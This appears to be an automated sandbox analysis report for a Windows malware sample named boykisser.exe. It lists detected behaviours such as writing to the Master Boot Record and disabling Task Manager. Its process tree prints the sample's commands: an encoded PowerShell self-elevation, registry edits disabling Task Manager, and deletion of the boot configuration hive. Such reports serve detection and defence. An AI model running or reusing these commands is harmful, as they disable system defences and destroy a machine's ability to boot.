Analysis

  • max time kernel
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 04:41

General

  • Target
    boykisser.exe
  • Size 3.0MB
  • Sample260701-fa5zvaev6q
  • SHA256 0df513e001320b7a3b29ad81189a1bd49ec3e6da1281fdf41b3f67be65c37389
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\boykisser.exe
    "C:\Users\Admin\AppData\Local\Temp\boykisser.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGIAbwB5AGsAaQBzAHMAZQByAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5176
      • C:\Users\Admin\AppData\Local\Temp\boykisser.exe
        "C:\Users\Admin\AppData\Local\Temp\boykisser.exe" --elevated
        3⤵
        • Writes to the Master Boot Record (MBR)
        • Sets desktop wallpaper using registry
        • Suspicious use of WriteProcessMemory
        PID:5732
        • C:\Windows\system32\reg.exe
          "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
          4⤵
          • Modifies registry key
          PID:4740
        • C:\Windows\system32\reg.exe
          "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
          4⤵
          • Modifies registry key
          PID:1920
        • C:\Windows\system32\cmd.exe
          "cmd" /c reg delete HKLM\BCD00000000 /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5488
          • C:\Windows\system32\reg.exe
            reg delete HKLM\BCD00000000 /f
            5⤵
            • Modifies registry key
            PID:1652

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        memory/440-0-0x00007FF6F8440000-0x00007FF6F89A4000-memory.dmp

        memory/440-1-0x00007FF6F8440000-0x00007FF6F89A4000-memory.dmp

        memory/440-2-0x00007FF6F8440000-0x00007FF6F89A4000-memory.dmp

        memory/5176-3-0x00007FFB0AFDF000-0x00007FFB0AFE0000-memory.dmp

        memory/5176-4-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-7-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-8-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-9-0x00000255FB830000-0x00000255FB852000-memory.dmp

        memory/5176-10-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-11-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-12-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-14-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5176-15-0x00007FFB0AE50000-0x00007FFB0B7F4000-memory.dmp

        memory/5732-16-0x00007FF6F8440000-0x00007FF6F89A4000-memory.dmp

        memory/5732-18-0x00007FF6F8440000-0x00007FF6F89A4000-memory.dmp